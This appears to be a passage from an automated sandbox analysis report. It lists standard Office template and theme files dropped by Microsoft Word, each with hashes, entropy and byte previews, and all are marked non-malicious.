Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCDE939.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE939.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCDE93A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE93A.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCDE94B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE94B.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCDE95C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE95C.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCDE96C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE96C.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCDE97D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE97D.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCDEA1B.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDEA1B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEA8C.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEA8C.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEABD.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
